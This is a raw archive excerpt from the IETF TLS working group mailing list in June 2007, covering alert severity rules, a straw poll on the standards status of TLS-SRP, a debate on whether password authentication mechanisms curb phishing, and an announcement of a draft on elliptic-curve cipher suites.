(helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hv0BZ-0002iX-HM; Sun, 03 Jun 2007 20:12:37 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hv0BW-0002di-Vg for tls@ietf.org; Sun, 03 Jun 2007 20:12:34 -0400 Received: from smtpout1441.sc1.he.tucows.com ([64.97.157.141] helo=n007.sc1.he.tucows.com) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1Hv0BV-00077K-M9 for tls@ietf.org; Sun, 03 Jun 2007 20:12:34 -0400 Received: from [192.168.0.2] (24.6.51.98) by n007.sc1.he.tucows.com (7.2.069.1) (authenticated as nelson@bolyard.com) id 465670BB00193E09; Mon, 4 Jun 2007 00:12:25 +0000 Message-ID: <466358DF.4070709@bolyard.com> Date: Sun, 03 Jun 2007 17:12:15 -0700 From: Nelson B Bolyard Organization: Spam haters R US User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a4pre) Gecko/20070422 SeaMonkey/1.5a MIME-Version: 1.0 To: Eric Rescorla Subject: Re: [TLS] Issue 16: Alert clarifications References: <20070603145730.4507B33C4B@delta.rtfm.com> In-Reply-To: <20070603145730.4507B33C4B@delta.rtfm.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: ea4ac80f790299f943f0a53be7e1a21a Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Eric Rescorla wrote: > http://www3.tools.ietf.org/wg/tls/trac/ticket/16 > > Several people have raised the issue of what alerts must be fatal > and when they should be sent. NIST suggested that all fatal alerts > MUST be sent. They also suggested that the following alerts be fatal: > > - bad_certificate, > - unsupported_certificate > - certificate_revoked. > - certificate_expired > > We discussed this in Prague and looking at the minutes, it looks > to me like the resolution was as follows: > > - All fatal alerts MUST be sent > - For the above alerts, if you plan to tear down the connection > on that basis you MUST make them fatal and send them > - Add a warning that some implementations tear down the connection > for any alert so warning alerts are dangerous. New implementations > SHOULD not tear down the connection for warning alerts. Why not require that a fatal alert be sent any time that the connection is going to be torn down due to a protocol error of any kind? That is, any time an error occurs in the TLS protocol which is severe enough that the connection will be terminated, send a fatal alert first. This would greatly improve diagnosis of problems. -- Nelson B _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Mon Jun 04 05:18:15 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hv8hL-0003YV-RH; Mon, 04 Jun 2007 05:17:59 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hv8hK-0003YN-OC for tls@ietf.org; Mon, 04 Jun 2007 05:17:58 -0400 Received: from ganymede.on-x.com ([194.51.68.3]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1Hv8hI-00027K-UK for tls@ietf.org; Mon, 04 Jun 2007 05:17:58 -0400 Received: from localhost (ganymede [127.0.0.1]) by ganymede.on-x.com (Postfix) with ESMTP id 41EE422; Mon, 4 Jun 2007 11:17:55 +0200 (CEST) Received: from ganymede.on-x.com ([127.0.0.1]) by localhost (ganymede.on-x.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 25341-02; Mon, 4 Jun 2007 11:17:52 +0200 (CEST) Received: from vinea.on-x.com (sedna.puteaux.on-x [192.168.10.9]) by ganymede.on-x.com (Postfix) with ESMTP id DA2391F; Mon, 4 Jun 2007 11:17:52 +0200 (CEST) Received: from [193.51.14.5] ([212.234.46.65]) by vinea.on-x.com (Lotus Domino Release 5.0.11) with ESMTP id 2007060411175097:281128 ; Mon, 4 Jun 2007 11:17:50 +0200 Message-ID: <4663D821.9030103@edelweb.fr> Date: Mon, 04 Jun 2007 11:15:13 +0200 From: Peter Sylvester User-Agent: Thunderbird 1.5.0.9 (X11/20061206) MIME-Version: 1.0 To: Pasi.Eronen@nokia.com Subject: Re: [TLS] Straw poll on TLS SRP status References: In-Reply-To: X-MIMETrack: Itemize by SMTP Server on vinea/ON-X(Release 5.0.11 |July 24, 2002) at 06/04/2007 11:17:51 AM, Serialize by Router on vinea/ON-X(Release 5.0.11 |July 24, 2002) at 06/04/2007 11:17:52 AM, Serialize complete at 06/04/2007 11:17:52 AM X-Virus-Scanned: by amavisd-new at on-x.com X-Spam-Score: 0.0 (/) X-Scan-Signature: 1676547e4f33b5e63227e9c02bd359e3 Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============0945050676==" Errors-To: tls-bounces@lists.ietf.org This is a cryptographically signed message in MIME format. --===============0945050676== Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms050903040007090307050609" This is a cryptographically signed message in MIME format. --------------ms050903040007090307050609 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Pasi.Eronen@nokia.com wrote: > Folks, > > The one remaining issue with TLS SRP is its intended status (Proposed > Standard, Informational, or Experimental). I and Eric think we need > more data to determine consensus here, so this message starts a > two-week straw poll on this issue. (Our apologies that this has > taken so long; this poll should have been some time ago already.) > > The question is: Do you support advancing draft-ietf-tls-srp as > Proposed Standard? > > [ ] Yes. > [ ] I think Informational/Experimental is better. > [ ] I don't care about the status, just get it published. > [ ] Something else, please state: > > Yes. The IPR concerns only a small part of the world's population. --------------ms050903040007090307050609 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature 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 d+BIv0MUuC6+k2yIIQKcLbDuuk8lLJmwWuYt1OLHEskZxOm7D7nRwe7ZNlTIZvR/VFWxlY18 k488tH9qcusIw8+7uXeHOZHyFUOHMINJZO9mq9HwGMC4v1xiPwoAJkzFtHf3D9VAholjhEFg d28aJSs6qN15PXDgDjptAl34eoUxggKuMIICqgIBATBlMFsxCzAJBgNVBAYTAkZSMRAwDgYD VQQKEwdFZGVsV2ViMRgwFgYDVQQLEw9TZXJ2aWNlIEVkZWxQS0kxIDAeBgNVBAMTF0VkZWxQ S0kgRWRlbFdlYiBQZXJzR0VOAgYKr4oygN4wCQYFKw4DAhoFAKCCAZ8wGAYJKoZIhvcNAQkD MQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMDcwNjA0MDkxNTEzWjAjBgkqhkiG9w0B CQQxFgQUWQ+xCHsXZ7nLYuOQAUWsz03O7Z8wUgYJKoZIhvcNAQkPMUUwQzAKBggqhkiG9w0D BzAOBggqhkiG9w0DAgICAIAwDQYIKoZIhvcNAwICAUAwBwYFKw4DAgcwDQYIKoZIhvcNAwIC ASgwdAYJKwYBBAGCNxAEMWcwZTBbMQswCQYDVQQGEwJGUjEQMA4GA1UEChMHRWRlbFdlYjEY MBYGA1UECxMPU2VydmljZSBFZGVsUEtJMSAwHgYDVQQDExdFZGVsUEtJIEVkZWxXZWIgUGVy c0dFTgIGCq+KMoDeMHYGCyqGSIb3DQEJEAILMWegZTBbMQswCQYDVQQGEwJGUjEQMA4GA1UE ChMHRWRlbFdlYjEYMBYGA1UECxMPU2VydmljZSBFZGVsUEtJMSAwHgYDVQQDExdFZGVsUEtJ IEVkZWxXZWIgUGVyc0dFTgIGCq+KMoDeMA0GCSqGSIb3DQEBAQUABIGANad8YrieqDK3v5kj uelo8kfteYTd1wQy4QiZmjx4LA9xYPvotWuVumgT2ZL/0bOfmgb72EILKjmsx0BHyxN4lQeI kU3I8JjtwgSDpMJ+X89l8vVRYzVHPro8X7JkZ5FGe/rcY5mvB9v3jRApg3PBwX2hY675WvW/ liEskxKP+UwAAAAAAAA= --------------ms050903040007090307050609-- --===============0945050676== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls --===============0945050676==-- From tls-bounces@lists.ietf.org Mon Jun 04 15:17:39 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvI3X-0005Ue-Nv; Mon, 04 Jun 2007 15:17:31 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvI3W-0005UZ-4g for tls@ietf.org; Mon, 04 Jun 2007 15:17:30 -0400 Received: from stingray.missi.ncsc.mil ([144.51.50.20]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HvI3U-0006bi-S0 for tls@ietf.org; Mon, 04 Jun 2007 15:17:30 -0400 Received: from Cerberus.missi.ncsc.mil (cerberus.missi.ncsc.mil [144.51.51.8]) by stingray.missi.ncsc.mil with SMTP id l54JHQoV025454 for ; Mon, 4 Jun 2007 15:17:26 -0400 (EDT) Received: from 144.51.60.33 by Cerberus.missi.ncsc.mil (InterScan VirusWall 6); Mon, 04 Jun 2007 15:17:26 -0400 Received: from EXCH.missi.ncsc.mil ([144.51.60.19]) by antigone.missi.ncsc.mil with Microsoft SMTPSVC(6.0.3790.3959); Mon, 4 Jun 2007 15:17:26 -0400 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5 Subject: RE: [TLS] Straw poll on TLS SRP status Date: Mon, 4 Jun 2007 15:17:26 -0400 Message-ID: In-Reply-To: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [TLS] Straw poll on TLS SRP status Thread-Index: AcekSNBSIWrJpfhYRmCjFxdsE45v0ACeyUYg References: <200705301914.l4UJEKMm003461@fs4113.wdf.sap.corp> From: "Kemp, David P." To: X-OriginalArrivalTime: 04 Jun 2007 19:17:26.0470 (UTC) FILETIME=[FC9FDE60:01C7A6DC] X-TM-AS-Product-Ver: : ISVW-6.0.0.1396-3.6.0.1039-15218000 X-TM-AS-Result: : Yes--8.579100-0-31-1 X-TM-AS-Category-Info: : 31:0.000000 X-TM-AS-MatchedID: : =?us-ascii?B?MTQ3MDE4LTE1MDU2Ny0xMTM2?= =?us-ascii?B?NjAtNzA4MTc5LTcwMjI2MC03MDkyNTctNzAyNTExLTE4NjAzNy03?= =?us-ascii?B?MDA3NTYtNzAxNTc2LTcwNDk4MC03MDAzMDAtNzAzNzQ3LTcwOTEz?= =?us-ascii?B?Ny0xMjE2NTItNzAxNDYxLTcwMDg0Ni03MDMzNTUtNzAwNzgzLTcw?= =?us-ascii?B?Mjg5OC03MDEzODctNzAxNzQxLTcwMjcyNi0xMDUyNTAtNzAyMTEz?= =?us-ascii?B?LTEyMTEzMy03MDcxNjMtNzA1NTk5LTcwNTUxOC03MDQ4NjQtMTIx?= =?us-ascii?B?NjIyLTcwNTM4OC03MDU4MTAtNzAwOTk0LTcwMjA3Ni03MDA1NzMt?= =?us-ascii?B?NzAyMDczLTcwMDkxOC03MDQyMTQtNzAwMzU0LTcwNDQzMC0xMTQy?= =?us-ascii?B?ODktNzA3NDEwLTcwNDYyNS03MDk4NTAtMTM5MDA2LTcwMDk0Mi03?= =?us-ascii?B?MDk1ODQtNzA0MDk2LTExMzIyOC03MDQ1NzgtNzAxNjE4LTcwNTg1?= =?us-ascii?B?Mi03MDQ5MzUtNzAzNTE3LTcwNTkwMS03MDkxODUtNzA1MTc4LTcw?= =?us-ascii?B?MzM2Ni03MDg4MTItNzAyNjQzLTcwNjg5MS03MDIzNzYtNzEwNzE1?= =?us-ascii?B?LTE0ODA1MA==?= X-Spam-Score: 0.0 (/) X-Scan-Signature: 02ec665d00de228c50c93ed6b5e4fc1a Cc: X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Peter, I don't see how either #1 or #2 would have much impact on phishing. Scenario: 1) Server-authenticated TLS to a phishing server with a plausible variation on a targeted legitimate server name 2) User ignores padlock and other cert-related HMI information (if the user actually checked the authenticated server name and recoiled in horror if not as expected, then phishing would not be a problem) 3) User authenticates with a) nothing, b) http basic auth, c) client cert, or d) SRP - it doesn't matter which 4) Phishing server puts up a form that says: enter SSN, mother's maiden name, and password. If someone is phishing for information to enable identity theft, then user authentication has no preventive benefit whatsoever. If someone is phishing for passwords for online accounts, then the users who don't check server authentication are also unlikely to non-comply with a socially-engineered request to enter their password into a form. SRP might raise the bar on password phishing slightly, but not significantly. And the bar on phishing for everything except a targeted server's password would not be raised at all. The way to prevent phishing is to make server authentication work. Attacking this problem with client authentication is like driving screws with a hammer. Any mechanism that permits the user to know his password is vulnerable to phishing. And any password mechanism that is not vulnerable to phishing, like a browser module that invisibly generates random passwords for TLS authenticated web sites and only regurgitates a password to the site it was generated for, has the same operational issues as client certs (server needs to request password generation, user needs to carry p12s for portability to other machines, etc). Dave -----Original Message----- From: Peter Gutmann [mailto:pgut001@cs.auckland.ac.nz]=20 Anyway, there are two solutions: 1. Sit back and wait for client certs to start working. Hey, we've been waiting for fifteen-odd years already, they've gotta start working at some point, right? 2. Accept that username+password isn't going to go away (ever) and try and fix it by providing a proper security mechanism for it (mutual-auth challenge- response, for example). I'm going for #2, which would seriously impact phishing if properly implemented (admittedly it's not a silver bullet, but it'd seriously raise the bar for phishing attacks, which is a step in the right direction). _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Mon Jun 04 15:50:36 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvIZQ-0003Kz-1s; Mon, 04 Jun 2007 15:50:28 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvIZ1-000374-SM; Mon, 04 Jun 2007 15:50:03 -0400 Received: from ns0.neustar.com ([156.154.16.158]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HvIZ0-0002oH-KC; Mon, 04 Jun 2007 15:50:03 -0400 Received: from stiedprstage1.ietf.org (stiedprstage1.va.neustar.com [10.31.47.10]) by ns0.neustar.com (Postfix) with ESMTP id 818D832912; Mon, 4 Jun 2007 19:50:02 +0000 (GMT) Received: from ietf by stiedprstage1.ietf.org with local (Exim 4.43) id 1HvIZ0-0002hv-DX; Mon, 04 Jun 2007 15:50:02 -0400 Content-Type: Multipart/Mixed; Boundary="NextPart" Mime-Version: 1.0 To: i-d-announce@ietf.org From: Internet-Drafts@ietf.org Message-Id: Date: Mon, 04 Jun 2007 15:50:02 -0400 X-Spam-Score: -2.5 (--) X-Scan-Signature: c3a18ef96977fc9bcc21a621cbf1174b Cc: tls@ietf.org Subject: [TLS] I-D ACTION:draft-ietf-tls-ecc-new-mac-01.txt X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Transport Layer Security Working Group of the IETF. Title : TLS Elliptic Curve Cipher Suites with SHA-256/384 and AES Galois Counter Mode Author(s) : E. Rescorla Filename : draft-ietf-tls-ecc-new-mac-01.txt Pages : 8 Date : 2007-6-4 RFC 4492 describes elliptic curve cipher suites for Transport Layer Security (TLS). However, all those cipher suites use SHA-1 as their MAC algorithm. This document describes eight new CipherSuites for TLS/DTLS which specify stronger digest algorithms. Four use HMAC with SHA-256 or SHA-384 and four use AES in Galois Counter Mode (GCM). A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-tls-ecc-new-mac-01.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-tls-ecc-new-mac-01.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-tls-ecc-new-mac-01.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2007-6-4141212.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-tls-ecc-new-mac-01.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-tls-ecc-new-mac-01.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2007-6-4141212.I-D@ietf.org> --OtherAccess-- --NextPart Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls --NextPart-- From tls-bounces@lists.ietf.org Mon Jun 04 18:59:16 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvLVs-0000dF-Ei; Mon, 04 Jun 2007 18:59:00 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvLVq-0000cX-GI for tls@ietf.org; Mon, 04 Jun 2007 18:58:58 -0400 Received: from cs-smtp-3.stanford.edu ([171.64.64.27]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HvLVp-0005v1-44 for tls@ietf.org; Mon, 04 Jun 2007 18:58:58 -0400 Received: from xenon.stanford.edu ([171.64.66.201]) by cs-smtp-3.Stanford.EDU with esmtps (TLSv1:AES256-SHA:256) (Exim 4.60) (envelope-from ) id 1HvLVo-0007Zc-0b; Mon, 04 Jun 2007 15:58:56 -0700 Received: from tjw (helo=localhost) by xenon.Stanford.EDU with local-esmtp (Exim 4.60) (envelope-from ) id 1HvLVj-00060Z-P3; Mon, 04 Jun 2007 15:58:51 -0700 Date: Mon, 4 Jun 2007 15:58:51 -0700 (PDT) From: Tom Wu To: Yoav Nir Subject: Re: [TLS] Straw poll on TLS SRP status In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Spam-Score: -102.5 X-Spam-Checker-Version: SpamAssassin 3.0.4-cs-csdcf (2005-06-05) on cs-smtp-3.Stanford.EDU X-Scan-Signature: 3e263c829a24e9e508d860775f9d44fb X-Spam-Score: 0.0 (/) X-Scan-Signature: 50a516d93fd399dc60588708fd9a3002 Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: 